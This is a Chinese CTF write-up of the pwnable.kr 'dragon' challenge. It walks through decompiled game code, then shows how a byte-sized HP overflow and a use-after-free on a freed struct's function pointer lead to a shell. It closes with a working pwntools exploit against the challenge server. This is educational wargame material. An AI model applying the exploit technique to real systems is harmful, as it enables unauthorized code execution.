[Pwnable.kr] dragon
略需要逆向的一道题,是一个打怪兽的小游戏。首先F5看一下代码(只贴关键部分)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 |
int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("Welcome to Dragon Hunter!"); PlayGame(); return 0; } int PlayGame() { int result; // eax@1 while ( 1 ) { while ( 1 ) { puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight"); result = GetChoice(); if ( result != 1 && result != 2 ) break; FightDragon(result); } if ( result != 3 ) break; SecretLevel(); } return result; } void __cdecl FightDragon(int a1) { char v1; // al@1 void *v2; // ST1C_4@10 int v3; // [esp+10h] [ebp-18h]@7 _DWORD *ptr; // [esp+14h] [ebp-14h]@1 _DWORD *v5; // [esp+18h] [ebp-10h]@1 ptr = malloc(0x10u); v5 = malloc(0x10u); v1 = Count++; if ( v1 & 1 ) { v5[1] = 1; *((_BYTE *)v5 + 8) = 80; *((_BYTE *)v5 + 9) = 4; v5[3] = 10; *v5 = PrintMonsterInfo; puts("Mama Dragon Has Appeared!"); } else { v5[1] = 0; *((_BYTE *)v5 + 8) = 50; *((_BYTE *)v5 + 9) = 5; v5[3] = 30; *v5 = PrintMonsterInfo; puts("Baby Dragon Has Appeared!"); } if ( a1 == 1 ) { *ptr = 1; ptr[1] = 42; ptr[2] = 50; ptr[3] = PrintPlayerInfo; v3 = PriestAttack((int)ptr, v5); } else { if ( a1 != 2 ) return; *ptr = 2; ptr[1] = 50; ptr[2] = 0; ptr[3] = PrintPlayerInfo; v3 = KnightAttack((int)ptr, v5); } if ( v3 ) { puts("Well Done Hero! You Killed The Dragon!"); puts("The World Will Remember You As:"); v2 = malloc(0x10u); __isoc99_scanf("%16s", v2); puts("And The Dragon You Have Defeated Was Called:"); ((void (__cdecl *)(_DWORD *))*v5)(v5); } else { puts("\nYou Have Been Defeated!"); } free(ptr); } int __cdecl PriestAttack(int a1, void *ptr) { int v2; // eax@1 do { (*(void (__cdecl **)(void *))ptr)(ptr); (*(void (__cdecl **)(int))(a1 + 12))(a1); v2 = GetChoice(); switch ( v2 ) { case 2: puts("Clarity! Your Mana Has Been Refreshed"); *(_DWORD *)(a1 + 8) = 50; printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3)); *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3); printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9)); *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9); break; case 3: if ( *(_DWORD *)(a1 + 8) <= 24 ) { puts("Not Enough MP!"); } else { puts("HolyShield! You Are Temporarily Invincible..."); printf("But The Dragon Heals %d HP!\n", *((char *)ptr + 9)); *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9); *(_DWORD *)(a1 + 8) -= 25; } break; case 1: if ( *(_DWORD *)(a1 + 8) <= 9 ) { puts("Not Enough MP!"); } else { printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20); *((_BYTE *)ptr + 8) -= 20; *(_DWORD *)(a1 + 8) -= 10; printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3)); *(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3); printf("And The Dragon Heals %d HP!\n", *((char *)ptr + 9)); *((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9); } break; } if ( *(_DWORD *)(a1 + 4) <= 0 ) { free(ptr); return 0; } } while ( *((_BYTE *)ptr + 8) > 0 ); free(ptr); return 1; } |
大概意思说是一个勇士战恶龙的游戏,有两种角色可以选,角色有三个技能,分别可以heal/damage巨龙和自己。一般pwn的东西都要有溢出,或者uaf或者2free这样的,输入点基本只有数字,没有什么可以溢出的,最后的胜利之后输入名字也没办法溢出。那么看看后两个。
FightDragon的开始在堆上分配了两个结构体ptr和v5,其中v5代表dragon的struct,这块内存释放点有两个,一个是在战胜巨龙之后(xxxxAttack),另一个是在FightDragon结束时。如果游戏胜利战胜了巨龙,那么v5就会被free掉,此时v5处于dangling状态,然而在xxxxAttach结束之后,在输入姓名的代码块中执行了 ((void (__cdecl *)(_DWORD *))*v5)(v5); ,关键就看我们能不能控制v5的内存块。
在执行v5之前,我们会malloc一块内存来存姓名,这个大小恰好与v5的大小相同,而名字是用户输入的,所以这块内存时可以由我们控制的,所以这里有UAF。
我们用gdb看一下dragon文件,发现aslr是off状态,这样就很简单了,只要把call system的地址填到v5的位置就可以了。
剩下就还剩一个问题了,如何获得胜利。恶龙有两种,一种是Mama一种是Baby,v5[8]代表血量,x5[9]代表回血速度,v5[3]代表攻击力,Baby的血量少一些,但是每次比Mama多回一格血,攻击力也更高。Priest角色有三个技能:1. HolyBolt,花费10点魔法打龙20点伤害;2. Clarity,刷新mana(魔法?);3. HolyShield,费25点魔法闪避一次攻击……Knight的属性就不详细说了,造成伤害高一点,但是自己也要费很多魔法,所以最后打下来肯定是打不过的。
判断龙是不是死了就是上面这个代码,我们发现血量居然是个byte值(-128~+127),如果正面刚不过,能不能让龙的血量溢出呢?只要我们能活到那个时候就可以。如果碰上Baby应该活不过两回合,如果是Mama,只需要三个回合就能让龙血量溢出,所以我们只需要使用HollySheid一直当透明,最后被龙打一下也不会死(别攻击龙……),然后他就溢出了……
|
1 2 3 4 5 6 7 8 9 |
from pwn import * r = remote("pwnable.kr", 9004) for i in range(4): r.sendline("1") for i in range(4): r.sendline("3\n3\n2") r.sendline("\xbf\x8d\x04\x08") r.interactive() |